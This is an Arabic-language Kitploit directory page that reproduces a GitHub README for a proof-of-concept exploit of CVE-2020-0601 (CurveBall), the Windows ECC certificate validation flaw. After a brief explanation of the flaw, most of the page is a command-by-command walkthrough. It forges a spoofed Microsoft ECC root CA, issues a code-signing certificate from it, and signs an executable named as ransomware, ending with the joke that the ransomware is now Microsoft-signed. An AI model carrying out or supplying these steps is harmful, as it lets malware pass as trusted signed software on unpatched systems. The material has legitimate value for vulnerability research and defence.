Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CurveBall-CVE-2020-0601-PoC — استغلال إثبات المفهوم لـ CVE-2020-0601 (CurveBall) يوضح تجاوز التحقق من شهادات ECC لتزوير مرجع مصدق موثوق وتوقيع ملفات تنفيذية عشوائية. | Kitploit
أدوات/GitHubGitHub/okanulkr/curveball-cve-2020-0601-poc
تحليل الثغرات الأمنيةتحليل الكودالاستغلالالتشفيراختبار الاختراقالفريق الأحمر
GitHubokanulkr/curveball-cve-2020-0601-poc

CurveBall-CVE-2020-0601-PoC

استغلال إثبات المفهوم لـ CVE-2020-0601 (CurveBall) يوضح تجاوز التحقق من شهادات ECC لتزوير مرجع مصدق موثوق وتوقيع ملفات تنفيذية عشوائية.

عرض المستودع
5منذ 5 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CurveBall (CVE-2020-0601) - PoC

هذه الثغرة، المعروفة باسم CurveBall، ناتجة عن التحقق غير الصحيح من الشهادات التي تستخدم خوارزمية ECC. يحاول Windows التحقق من الشهادات التي تم التحقق منها مسبقًا من ذاكرة التخزين المؤقت للشهادات، وأثناء القيام بذلك، يتحقق فقط من تطابق المفاتيح العامة للشهادات ولا يتحقق من المعاملات الأخرى.

التفاصيل الرياضية

لتزوير الشهادة، نقوم بتعيين المعاملات صراحةً كما يلي:

root@kitploit:~
d' = 1 
G' = Q

إذا كنت بحاجة إلى مزيد من المعلومات، يمكنك الاطلاع على قسم التفاصيل الرياضية في ملف final_report_milestone_IV.pdf.

الاستخدام (توقيع الكود)

في هذا المثال (PoC)، سنستخدم "Microsoft ECC Product Root Certificate Authority"، وهي شهادة Microsoft الموثوقة حتى عام 2043.

لنستخرج المفتاح العام من CA ونعدّله وفقًا للثغرة:

root@kitploit:~
ruby exploit.rb ./MicrosoftECCProductRootCertificateAuthority.cer

نقوم بإنشاء شهادة x509 جديدة بناءً على هذا المفتاح. ستكون هذه الشهادة هي CA المزورة الخاصة بنا.

root@kitploit:~
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt -subj "/C=/ST=/L=/O=/OU=/CN=/emailAddress="

لعرض محتوى spoofed_ca.crt:

root@kitploit:~
openssl x509 -in spoofed_ca.crt -noout -text

نقوم بإنشاء مفتاح جديد. يمكن أن يكون هذا المفتاح من أي نوع تريده. سيتم استخدامه لإنشاء شهادة توقيع الكود، والتي سنوقعها باستخدام CA الخاصة بنا.

root@kitploit:~
openssl ecparam -name secp384r1 -genkey -noout -out cert.key

بعد ذلك، نقوم بإنشاء طلب توقيع شهادة جديد (CSR). عادةً ما يُرسل هذا الطلب إلى مراجع التصديق الموثوقة، ولكن بما أن لدينا مرجع تصديق مزورًا، يمكننا توقيعه بأنفسنا.

root@kitploit:~
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

نوقع طلب CSR الجديد باستخدام CA المزورة ومفتاح CA. ستنتهي صلاحية هذه الشهادة في عام 2047، بينما ستنتهي صلاحية CA الخاصة بـ Microsoft الموثوقة الحقيقية في عام 2043.

root@kitploit:~
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs

الشيء الوحيد المتبقي هو تجميع الشهادة ومفتاحها وCA المزورة في ملف PKCS12 لتوقيع الملفات التنفيذية.

root@kitploit:~
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12

لنوقع ملفنا التنفيذي باستخدام ملف PKCS12.

root@kitploit:~
osslsigncode sign -pkcs12 cert.p12 -n "Signed by PISP Team" -in unsigned_ransomware.exe -out microsoft_signed_ransomware.exe -pass 1234

الآن، لدينا برنامج فدية جديد كليًا موقّع بواسطة Microsoft :)

تنزيل الأداة